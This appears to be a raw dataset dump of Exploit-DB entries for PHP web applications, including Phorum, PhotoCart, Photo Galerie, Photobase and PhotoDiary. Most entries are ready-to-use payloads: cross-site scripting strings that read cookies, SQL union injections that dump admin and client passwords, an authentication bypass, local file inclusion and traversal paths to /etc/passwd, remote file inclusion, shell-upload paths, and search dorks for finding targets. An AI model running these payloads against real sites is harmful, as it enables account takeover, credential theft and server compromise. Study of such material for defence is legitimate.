deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29892
Description: Phorum 5.1.20 - 'pm.php' Recipient Name SQL Injection
Type: webapps
Platform: php
Date: 2007-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/23616/info
     
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
     
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

Let's look at source code of "include/db/mysq.php" ~ line 1881 :

------------------[source code]----------------------
function phorum_db_user_get($user_id, $detailed)
{
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    if(is_array($user_id)){
        $user_ids=implode(",", $user_id);
    } else {
        $user_ids=(int)$user_id;
    }

    $users = array();

    $sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
    $res = mysql_query($sql, $conn);
    if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
------------------[/source code]----------------------

As we can see, if "$user_id" is array, then there is no sanitize against data before
using in sql query.
After some research I have found a way to use this bug for sql injection. For this,
first of all, potential attacker must have valid user account in specific Phorum-powered
website and he/she must be logged in. And then let's try this proof-of-concept html file:

------------------[PoC exploit]-----------------------
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
<input type="submit" name"test" value="test">
</body>
</html>
Exploit-DB #32910
Description: Phorum 5.2 - '/admin/badwords.php?curr' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-16
Author: voodoo-labs

Exploit:
source: https://www.securityfocus.com/bid/34551/info

Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected. 

http://www.example.com/phorum-5.2.10/admin.php?module=badwords&curr=1"><img/src/onerror="
alert('voodoo');&delete=1
Exploit-DB #32911
Description: Phorum 5.2 - '/admin/banlist.php?curr' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-16
Author: voodoo-labs

Exploit:
source: https://www.securityfocus.com/bid/34551/info
 
Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected. 

http://www.example.com/phorum-5.2.10/admin.php?module=banlist&curr=1"><img/src/onerror="alert('voodoo');&delete=1
Exploit-DB #32912
Description: Phorum 5.2 - '/admin/users.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-16
Author: voodoo-labs

Exploit:
source: https://www.securityfocus.com/bid/34551/info
  
Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
  
Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected. 

POST /www.example.com/admin.php HTTP/1.1

module=users&referrer=http%3A%2F%2Fwww.victim.com%2Fphorum-5.2.10%2Fadmin.php%3Fmodule%3Dusers
&addUser=1&username=xss&real_name=xss&email=%3Ciframe%2Fsrc%3D%22javascript%3Aalert%28%27voodoo%27%29%3B%22%3E&password1=xss&password2=xss&admin=0
Exploit-DB #32913
Description: Phorum 5.2 - 'versioncheck.php?upgrade_available' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-16
Author: voodoo-labs

Exploit:
source: https://www.securityfocus.com/bid/34551/info
   
Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
   
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
   
Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected. 

javascript:with(document)cookie="phorum_upgrade_available=
<iframe/src='javascript:alert(/voodoo/.source)'>",
location="http://www.victim.com/phorum-5.2.10/versioncheck.php";
Exploit-DB #9231
Description: Phorum 5.2.11 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-22
Author: Crashfr

Exploit:
//----- Advisory

Program          : Phorum 5.2.11 and prior
Homepage         : http://www.phorum.org/
Discovery        : 2009/07/16
Author Contacted : 2009/07/17
Found by         : CrashFr
This Advisory    : CrashFr

//----- Application description


Started in 1998, Phorum was the original PHP and MySQL based Open Source
forum software. Phorum's developers pride themselves on creating message
board software that is designed to meet different needs of different web
sites while not sacrificing performance or features.


//----- Description of vulnerability


Phorum's filtering engine insufficiently filters some BBcode arguments.
Using the bbcode tags [color] and [size] it is possible to execute Javascript
using expression CSS property.


//----- Proof Of Concept


When the user post the following bbcode :

[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]
or
[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]

The application convert it into the follow HTML code :

<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
and
<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>

For IE6 you can use this POC:

[color=#000000;background-image:url(javascript:alert('Sysdream_IE6_Alert'));]Sysdream 
Testing IE6[/color]

For IE7:
[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing 
XSS[/color]

Obviously, the POC doesn't work in IE8 and Firefox.

But, but , but...
Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My 
Files" function in "Control Center", you can use :

POC for FF:
[color=#000000;-moz-binding:url(http://127.0.0.1/phorum/file.php?0,file=9,filename=script.xml#mycode);]Sysdream 
Testing FF[/color]

POC for IE8:
[color=#000000;behavior:url(http://127.0.0.1/phorum/file.php?0,file=8,filename=script.htc);]Sysdream
Testing FF[/color]

//----- Impact


This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.


//----- Solution

Upgrade Phorum to 5.2.12


//----- Credits


http://www.sysdream.com
http://www.hackerzvoice.net

crashfr at sysdream dot com


//----- Greetings

Virtualabs

# milw0rm.com [2009-07-22]
Exploit-DB #36201
Description: Phorum 5.2.18 - '/admin/index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-03
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/49920/info

Phorum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Phorum 5.2.18 is vulnerable; other versions may also be affected. 

http://www.example.com/phorum-5.2.18/admin/"</script><script>alert(document.cookie);</script></script>
http://www.example.com/phorum-5.2.18/admin/index.php"</script><script>alert(document.cookie);</script></script>
Exploit-DB #37683
Description: Phorum 5.2.18 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-29
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/55275/info

Phorum is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Phorum 5.2.18 is vulnerable; other versions may also be affected. 

http://www.example.com/control.php?0,panel=groupmod,group=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #43802
Description: Phorum < 5.0.3 Beta - Cross Site Scripting
Type: webapps
Platform: php
Date: 2004-03-15
Author: GulfTech Security

Exploit:
Phorum Cross Site Scripting

Vendor: Phorum
Product: Phorum
Version: <= 5.0.3 Beta
Website: http://www.phorum.org/

BID: 9882 

Description:
Phorum is a web based message board written in PHP. Phorum is designed with high-availability and visitor ease of use in mind. Features such as mailing list integration, easy customization and simple installation make Phorum a powerful add-in to any website. 

Problem:
Phorum have pached a good number of XSS (Cross Site Scripting) issues in the past, but there is still some work to be done regarding these issues before the final release of Phorum Version 5. The first issue I am going to talk about lies in "login.php" If you look at the HTML source code you should see two hidden variables. One called "f" which specifies the forum id, and one called "target" which specifies the location to take the user after they login. Unfortunately both of these values are taken directly from the value of HTTP_REFERER without any validation. While there is a global script in forum that checks for the <script> tag, it will allow for pretty much any thing else, and most of you know it is not hard to execute javascript inside of a tag which is allowed. This same vulnerability also exists in "register.php" And while not the exact same, a similar problem to these two exists in "profile.php" also. Below are some examples. 

login.php?HTTP_REFERER=[XSS]
register.php?&HTTP_REFERER=[XSS]
profile.php?id=2&action=edit&target=[XSS] 

Solution:
The vendor was contacted and immeadiately responded, and will be releasing a fix soon. Thanks to Brian Moon and the rest of the forum dev team for such a quick response. It is appreciated. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #2817
Description: Photo Cart 3.9 - 'adminprint.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-21
Author: irvian

Exploit:
#####################################################################################################
#
# PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
# Script site: http://www.picturespro.com/store/programs/129-photo_cart.html
# Dork       : inurl :/PhotoCart/
#
#####################################################################################################
##
##
## Bug Found By : irvian
##
##
####################################################################################################
###
### GreetZ: jipank,kacung,trangkil,ibnusina,cah|gemblunkz,zoid
### Special greetz: #patihack #hitamputih #nyubicrew
###
#####################################################################################################

bug found on /PhotoCart/adminprint.php

include "setup.php";
$path = "$path";
$path = "$path";
include "$admin_folder/_admin_functions.php";
include "$path/_db.php";
    adminsessionCheck();


Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts]
      http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts]

# milw0rm.com [2006-11-21]
Exploit-DB #42797
Description: Photo Fusion - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Photo Fusion - Free Stock Photos Script - Arbitrary File Upload
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://teamworktec.com/
# Software Link: https://codecanyon.net/item/photo-fusion-free-stock-photos-script/20115244
# Demo: http://teamworktec.com/demo/photos-fusion/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an users upload arbitrary file....
# 
# Vulnerable Source:
# 
#     /*Change profile picture*/
#     public function changeAvatar(Request $request){
#         if(Auth::user()){
#             $user = User::find(Auth::id());
#             $user->avatar = $request->picture->getClientOriginalName();
#             $user->save();
#             $file = $request->picture;
#             $file->move('uploads', $file->getClientOriginalName());
#             return $request->picture->getClientOriginalName();
#         }
#         return 'please login to change avatar';
#     }
# 
#     /*Change profile cover*/
#     public function changeCover(Request $request){
#         if(Auth::user()){
#             $user = User::find(Auth::id());
#             $user->cover = $request->cover->getClientOriginalName();
#             $user->save();
#             $file = $request->cover;
#             $file->move('uploads', $file->getClientOriginalName());
#             return $request->cover->getClientOriginalName();
#         }
#         return 'please login to change avatar';
#     }
# 	
# Proof of Concept: 
# 
# http://localhost/[PATH]/
# http://localhost/[PATH]/uploads/[FILE]
# 
# Etc..
# # # # #
Exploit-DB #3261
Description: Photo Galerie Standard 1.1 - 'view.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-03
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Photo Galerie Standard <= 1.1 (view.php) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://noname-media.com
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//view.php?id=[SQL]

Example:

etc/passwd Read

//view.php?id=-1%20union%20select%201,load_file(char((47,101,116,99,47,112,97,115,115,119,100)),3,4,0,0,0,0,0,0,0,0,0,0/*&categorie=8&next=1

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-03]
Exploit-DB #8372
Description: photo graffix 3.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-08
Author: ahmadbady

Exploit:
  =-=-shell upload/local file-=-=

-=-=-=-=-=-=-=-=-=-=
script::Photo-GraffixV3.4.zip

Author: ahmadbady

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.photo-graffix.com/V3/Photo-GraffixV3.4.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
upload:
/path/mp3upload.htm ===> shell upload

shell = /path/music/shell.php
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
xpl:
/path/wmprocess.php?tdir=[open local file]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
dork: "powered by Photo-Graffix Flash Image Gallery"
  "powered by Photo-Graffix"
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2009-04-08]
Exploit-DB #48854
Description: Photo Share Website 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-10-02
Author: Augkim

Exploit:
# Exploit Title: Photo Share Website 1.0 - Persistent Cross-Site Scripting
# Date: 2020-09-30
# Exploit Author: Augkim
# Vendor Homepage: https://www.sourcecodester.com/php/14478/photo-share-website-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/photo-share-website-using-php.zip
# Tested on: Linux Apache2


POST /soci/ajax.php?action=save_comment HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
DNT: 1
Connection: close
Referer: http://localhost/soci/index.php?page=home
Cookie: mode=day; src=1;
BEEFHOOK=0hqrkHLyTmW38TaPrDHRUW4LsDpXKDSSqAQf54dt0hIA0wFNpjkoJYFlnGhoKw2T4qQHIUZ5oESFGSVW;
PHPSESSID=cq8j6ug2vem0obmno6fi0h9404; access=1
Origin: foo.example.org

PoC:
post_id=4&comment="><script>alert(2)</script>
Exploit-DB #24399
Description: PhotoADay - 'Pad_selected' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-08-23
Author: King Of Love

Exploit:
source: https://www.securityfocus.com/bid/11009/info

It is reported that PhotoADay is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

All versions of PhotoADay are considered vulnerable at the moment. 

http://www.example.com/modules.php?name=Photo_A_Day&action=single&pad_selected=44%20UNION%20SELECT%20< script>alert(document.cookie);</script>
Exploit-DB #27916
Description: Photoalbum B&W 1.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-29
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18142/info

Photoalbum B&W is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Photoalbum B&W version 1.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/index.php?pic=[XSS]
Exploit-DB #7733
Description: Photobase 1.2 - 'Language' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-11
Author: Osirys

Exploit:
[START]

####################################################################################################################
[0x01] Informations:

Script         : Photobase 1.2
Download       : http://www.monstar.nl/php-bin/count.php3?what=photobase.zip&id=0
Vulnerability  : Local File Inclusion
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


####################################################################################################################
[0x02] Bug: [Local File Inclusion]
######

Bugged file is: /[path]/include/header.php

[CODE]

<?php
include('include/conf.php');
include('include/functions.php');

if(isset($_GET['language']))
	$language = $_GET['language'];

include('language/'.$language.'.php');

[/CODE]

There is an include of a variable coming from GET --> $language

[!FIX] Filter $language before the include or just set its value with a local file.


[!] EXPLOIT: /[path]/include/header.php?language=[local_file]
                                                 ../../../../../../../../../../etc/passwd%00

####################################################################################################################

[/END]

# milw0rm.com [2009-01-11]
Exploit-DB #6285
Description: Photocart 3.9 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-21
Author: ~!Dok_tOR!~

Exploit:
Author: ~!Dok_tOR!~
Date found: 18.08.08
Product: PhotoCart
Version: 3.9 Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ Ð¸ Ð±Ð¾Ð»ÐµÐµ Ñ€Ð°Ð½Ð½Ð¸Ðµ Ð²ÐµÑ€ÑÐ¸Ð¸
Type: Photography Shopping Cart
URL: www.picturespro.com
Vulnerability Class: SQL Injection

/[installdir]/search.php

Vuln code:

PHP:
if($_REQUEST['searchby'] == "qtitle") {
$gal_where['where'] = "WHERE gal_status='1' AND gal_client!='1 '$and_expire AND gal_title LIKE '%".$_REQUEST['qtitle']."%' ";
print "Results for Gallery or event name: ".$_REQUEST['qtitle']." ";
}
if($_REQUEST['searchby'] == "qid") {
$gal_where['where'] = "WHERE gal_status='1' AND gal_client!='1 '$and_expire AND gal_id='".$_REQUEST['qid']."' ";
print "Results for Gallery or event ID: ".$_REQUEST['qid']." ";
}
if($_REQUEST['searchby'] == "qdate") {
$gdate = "".$_REQUEST['qyear']."-".$_REQUEST['qmonth']."-".$_REQUEST['qday']."";
$gal_where['where'] = "WHERE gal_status='1' AND gal_client!='1 '$and_expire AND gal_date='$gdate' ";
print "Results for Gallery or event date: ".$_REQUEST['qmonth']."-".$_REQUEST['qday']."-".$_REQUEST['qyear']." ";
}


magic_quotes_gpc = Off

Example:
http://[server]/[installdir]/search.php

Ð’Ð²Ð¾Ð´Ð¸Ð¼ Ð² Ð¿Ð¾Ð»Ðµ Gallery or event name:

Exploit 1:

' union select 1,2,3,4,5,concat_ws(0x3a,admin_user,admin_pass),7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26 from admin/*



Exploit 2:

' union select 1,2,3,4,5,concat_ws(0x3a,client_name,client_pass,c lient_email),7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26 from pc_clients/*



Authentication Bypass SQL Injection

/[installdir]/_login.php

Vuln code:

PHP:
$result = @mysql_query("SELECT * FROM pc_clients WHERE client_email='".$_REQUEST['email']."' AND client_pass='".$_REQUEST['password']."'");


Email Address: 1' or 1=1/*
Password: 1' or 1=1/*

# milw0rm.com [2008-08-21]
Exploit-DB #28214
Description: PhotoCycle 1.0 - 'PhotoCycle.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-13
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18964/info

Photocycle is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/photocycle.php?phpage=<script%20src=http://www.youfucktard.com/xss.js></script>
Exploit-DB #10869
Description: PhotoDiary 1.3 - 'lng' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-31
Author: cOndemned

Exploit:
PhotoDiary 1.3 (lng) Local File Inclusion Vulnerability
Discovered by cOndemned

download: http://code.google.com/p/photodiary/


source of /admin/install.php (lines 9 - 15):

	if (isset($_GET['lng'])){
		$LNG = $_GET['lng'];			# 1
	} else {
		$LNG = "ITA";
	}
	
	include "../common/language_".$LNG.".php";	# 2


proof of concept:
		
	http://[target_host]/admin/install.php?lng=/../../../../../../etc/passwd%00